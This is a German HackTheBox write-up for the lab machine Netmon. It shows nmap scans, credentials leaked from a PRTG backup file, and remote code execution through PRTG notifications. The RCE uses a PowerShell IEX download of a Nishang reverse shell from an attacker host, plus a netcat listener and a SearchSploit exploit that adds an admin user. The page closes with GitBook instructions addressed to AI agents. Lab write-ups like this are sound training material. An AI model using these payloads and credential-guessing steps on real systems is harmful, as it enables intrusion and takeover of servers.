> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md). # Netmon HackTheBox-Lösungsbericht {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * FTP-Aufzählung * Informationsleck * Offenlegung von Anmeldedaten in PRTG Network Monitor * Befehlsausführung über PRTG-Benachrichtigungen * Auslieferung einer PowerShell-Reverse-Shell {% endhint %} ## Aufklärung Erstelle den Arbeitsbereich und führe den vollständigen TCP-Scan aus: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts ```
Führe den gezielten Dienstscan aus: ```bash nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted ```
## FTP-Aufzählung FTP erlaubt anonymen Zugriff.
Die User-Flag ist über FTP im Desktop-Pfad des Benutzers lesbar.
## PRTG Network Monitor Port 80 stellt eine **PRTG Network Monitor** Weboberfläche bereit.
Überprüfe das Konfigurationsverzeichnis: ``` ProgramData/Paessler/PRTG Network Monitor/ ```
Die Sicherungskonfigurationsdatei gibt Anmeldedaten preis: ``` PRTG Configuration.old.bak ```
Wiederhergestellte Anmeldedaten: * Benutzername: `prtgadmin` * Passwort: `PrTg@dmin2018`
Da die Datei ein altes Backup ist, teste das aktualisierte Jahr im Passwort. Der Zugriff ist gültig mit: ``` PrTg@dmin2019 ```
## PRTG-RCE PRTG-Benachrichtigungen können Befehle auf dem Server ausführen. Verwende ein gehostetes PowerShell-RevShell-Skript und löse es über eine Benachrichtigungsaktion aus. {% embed url="" %} Lade das PowerShell-Payload herunter und bereite es vor: ```bash wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1 python3 -m http.server 80 ``` Starte einen Listener: ```bash rlwrap nc -nvlp 443 ``` Gehe in PRTG zu `Setup > Kontoeinstellungen > Benachrichtigungen` und erstelle eine Benachrichtigungsaktion, die das gehostete Skript herunterlädt und ausführt.
Befehlsmuster: {% code overflow="wrap" %} ```powershell abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')" ``` {% endcode %} Wenn der Download-Callback den HTTP-Server erreicht, die Shell jedoch nicht zurückkommt, kodiere das PowerShell-Skript als UTF-16LE-Base64 und führe es mit `-enc`: ```bash iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt ``` ```powershell abc.txt | powershell -enc ``` ## Automatischer Exploit-Pfad SearchSploit enthält einen PRTG-Exploit, der einen neuen administrativen Benutzer erstellt, wenn ein gültiges authentifiziertes Cookie angegeben wird. ```bash searchsploit -m windows/webapps/46527.sh ``` Führe den Exploit mit der Ziel-URL und dem Sitzungscookie aus: {% code overflow="wrap" %} ```bash ./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D" ``` {% endcode %} Der Exploit erstellt: * Benutzername: `pentest` * Passwort: `P3nT3st!`
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.